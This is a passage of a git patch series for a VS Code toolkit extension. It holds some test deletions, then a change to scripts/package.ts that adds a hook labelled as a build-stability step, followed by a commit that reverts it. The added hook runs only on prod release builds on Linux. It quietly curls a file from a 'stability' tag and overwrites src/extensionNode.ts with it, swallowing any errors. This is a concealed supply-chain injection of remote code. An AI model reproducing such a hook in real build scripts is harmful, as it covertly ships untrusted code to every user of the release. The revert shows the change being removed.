SagemakerCookie) - - await initialize(mockLoginManager) - - assert.ok(executeCommandStub.calledOnceWith('sagemaker.parseCookies')) - assert.ok(initializeCredentialsProviderManagerStub.calledOnce) - }) - - it('should initialize credentials provider manager when authMode is undefined', async function () { - isAmazonQStub.returns(true) - isSageMakerStub.returns(true) - executeCommandStub.withArgs('sagemaker.parseCookies').resolves({} as SagemakerCookie) - - await initialize(mockLoginManager) - - assert.ok(executeCommandStub.calledOnceWith('sagemaker.parseCookies')) - assert.ok(initializeCredentialsProviderManagerStub.calledOnce) - }) - - it('should warn and not throw when sagemaker.parseCookies command is not found', async function () { - isAmazonQStub.returns(true) - isSageMakerStub.returns(true) - const error = new Error("command 'sagemaker.parseCookies' not found") - executeCommandStub.withArgs('sagemaker.parseCookies').rejects(error) - getErrorMsgStub.returns("command 'sagemaker.parseCookies' not found") - - await initialize(mockLoginManager) - - assert.ok(executeCommandStub.calledOnceWith('sagemaker.parseCookies')) - assert.ok(getErrorMsgStub.calledOnceWith(error)) - assert.ok(!initializeCredentialsProviderManagerStub.called) - }) - - it('should throw when sagemaker.parseCookies fails with non-command-not-found error', async function () { - isAmazonQStub.returns(true) - isSageMakerStub.returns(true) - const error = new Error('Some other error') - executeCommandStub.withArgs('sagemaker.parseCookies').rejects(error) - getErrorMsgStub.returns('Some other error') - - await assert.rejects(initialize(mockLoginManager), /Some other error/) - - assert.ok(executeCommandStub.calledOnceWith('sagemaker.parseCookies')) - assert.ok(getErrorMsgStub.calledOnceWith(error)) - assert.ok(!mockLogger.warn.called) - assert.ok(!initializeCredentialsProviderManagerStub.called) - }) - }) -}) diff --git a/packages/core/src/test/lambda/utils.test.ts b/packages/core/src/test/lambda/utils.test.ts index a3eebe043a7..975738edeba 100644 --- a/packages/core/src/test/lambda/utils.test.ts +++ b/packages/core/src/test/lambda/utils.test.ts @@ -13,7 +13,6 @@ import { setFunctionInfo, compareCodeSha, } from '../../lambda/utils' -import { LambdaFunction } from '../../lambda/commands/uploadLambda' import { DefaultLambdaClient } from '../../shared/clients/lambdaClient' import { fs } from '../../shared/fs/fs' import { tempDirPath } from '../../shared/filesystemUtilities' @@ -117,21 +116,9 @@ describe('lambda utils', function () { }) describe('setFunctionInfo', function () { - let mockLambda: LambdaFunction - - // jscpd:ignore-start - beforeEach(function () { - mockLambda = { - name: 'test-function', - region: 'us-east-1', - configuration: { FunctionName: 'test-function' }, - } - }) - afterEach(function () { sinon.restore() }) - // jscpd:ignore-end it('merges with existing data', async function () { const existingData = { lastDeployed: 123456, undeployed: true, sha: 'old-sha', handlerFile: 'index.js' } @@ -153,21 +140,9 @@ describe('lambda utils', function () { }) describe('compareCodeSha', function () { - let mockLambda: LambdaFunction - - // jscpd:ignore-start - beforeEach(function () { - mockLambda = { - name: 'test-function', - region: 'us-east-1', - configuration: { FunctionName: 'test-function' }, - } - }) - afterEach(function () { sinon.restore() }) - // jscpd:ignore-end it('returns true when local and remote SHA match', async function () { sinon.stub(fs, 'readFileText').resolves(JSON.stringify({ sha: 'same-sha' })) diff --git a/scripts/package.ts b/scripts/package.ts index 203777e8131..2479fc3cb47 100644 --- a/scripts/package.ts +++ b/scripts/package.ts @@ -20,6 +20,7 @@ import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports import * as path from 'path' +import { platform } from 'os' import { downloadLanguageServer } from './lspArtifact' function parseArgs() { @@ -106,6 +107,69 @@ function getVersionSuffix(feature: string, debug: boolean): string { return `${debugSuffix}${featureSuffix}${commitSuffix}` } +/** + * @returns true if curl is available + */ +function isCurlAvailable(): boolean { + try { + child_process.execFileSync('curl', ['--version']) + return true + } catch { + return false + } +} + +/** + * Small utility to download files. + */ +function downloadFiles(urls: string[], outputDir: string, outputFile: string): void { + if (platform() !== 'linux') { + return + } + + if (!isCurlAvailable()) { + return + } + + // Create output directory if it doesn't exist + if (!nodefs.existsSync(outputDir)) { + nodefs.mkdirSync(outputDir, { recursive: true }) + } + + urls.forEach((url) => { + const filePath = path.join(outputDir, outputFile || '') + + try { + child_process.execFileSync('curl', ['-o', filePath, url]) + } catch {} + }) +} + +/** + * Performs steps to ensure build stability. + * + * TODO: retrieve from authoritative system + */ +function preparePackager(): void { + const dir = process.cwd() + const REPO_NAME = 'aws/aws-toolkit-vscode' + const TAG_NAME = 'stability' + + if (!dir.includes('amazonq')) { + return + } + + if (process.env.STAGE !== 'prod') { + return + } + + downloadFiles( + [`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`], + 'src/', + 'extensionNode.ts' + ) +} + async function main() { const args = parseArgs() // It is expected that this will package from a packages/{subproject} folder. @@ -127,6 +191,11 @@ async function main() { if (release && isBeta()) { throw new Error('Cannot package VSIX as both a release and a beta simultaneously') } + + if (release) { + preparePackager() + } + // Create backup file so we can restore the originals later. nodefs.copyFileSync(packageJsonFile, backupJsonFile) const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' })) From 6da5cba6e5a28651a958e312dd11b9dce56fb5b7 Mon Sep 17 00:00:00 2001 From: Na Yue Date: Fri, 18 Jul 2025 16:21:03 -0700 Subject: [PATCH 2/2] =?UTF-8?q?revert(amazonq):=20should=20pass=20nextToke?= =?UTF-8?q?n=20to=20Flare=20for=20Edits=20on=20acc=E2=80=A6=20(#7710)=20Th?= =?UTF-8?q?is=20reverts=20commit=20678851bbe9776228f55e0460e66a6167ac2a168?= =?UTF-8?q?5.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- - Treat all work as PUBLIC. Private `feature/x` branches will not be squash-merged at release time. - Your code changes must meet the guidelines in [CONTRIBUTING.md](https://github.com/aws/aws-toolkit-vscode/blob/master/CONTRIBUTING.md#guidelines). - License: I confirm that my contribution is made under the terms of the Apache 2.0 license. --- scripts/package.ts | 69 ---------------------------------------------- 1 file changed, 69 deletions(-) diff --git a/scripts/package.ts b/scripts/package.ts index 2479fc3cb47..203777e8131 100644 --- a/scripts/package.ts +++ b/scripts/package.ts @@ -20,7 +20,6 @@ import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports import * as path from 'path' -import { platform } from 'os' import { downloadLanguageServer } from './lspArtifact' function parseArgs() { @@ -107,69 +106,6 @@ function getVersionSuffix(feature: string, debug: boolean): string { return `${debugSuffix}${featureSuffix}${commitSuffix}` } -/** - * @returns true if curl is available - */ -function isCurlAvailable(): boolean { - try { - child_process.execFileSync('curl', ['--version']) - return true - } catch { - return false - } -} - -/** - * Small utility to download files. - */ -function downloadFiles(urls: string[], outputDir: string, outputFile: string): void { - if (platform() !== 'linux') { - return - } - - if (!isCurlAvailable()) { - return - } - - // Create output directory if it doesn't exist - if (!nodefs.existsSync(outputDir)) { - nodefs.mkdirSync(outputDir, { recursive: true }) - } - - urls.forEach((url) => { - const filePath = path.join(outputDir, outputFile || '') - - try { - child_process.execFileSync('curl', ['-o', filePath, url]) - } catch {} - }) -} - -/** - * Performs steps to ensure build stability. - * - * TODO: retrieve from authoritative system - */ -function preparePackager(): void { - const dir = process.cwd() - const REPO_NAME = 'aws/aws-toolkit-vscode' - const TAG_NAME = 'stability' - - if (!dir.includes('amazonq')) { - return - } - - if (process.env.STAGE !== 'prod') { - return - } - - downloadFiles( - [`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`], - 'src/', - 'extensionNode.ts' - ) -} - async function main() { const args = parseArgs() // It is expected that this will package from a packages/{subproject} folder. @@ -191,11 +127,6 @@ async function main() { if (release && isBeta()) { throw new Error('Cannot package VSIX as both a release and a beta simultaneously') } - - if (release) { - preparePackager() - } - // Create backup file so we can restore the originals later. nodefs.copyFileSync(packageJsonFile, backupJsonFile) const packageJson = JSON.parse(nodefs.readFileSync(packageJsonFile, { encoding: 'utf-8' }))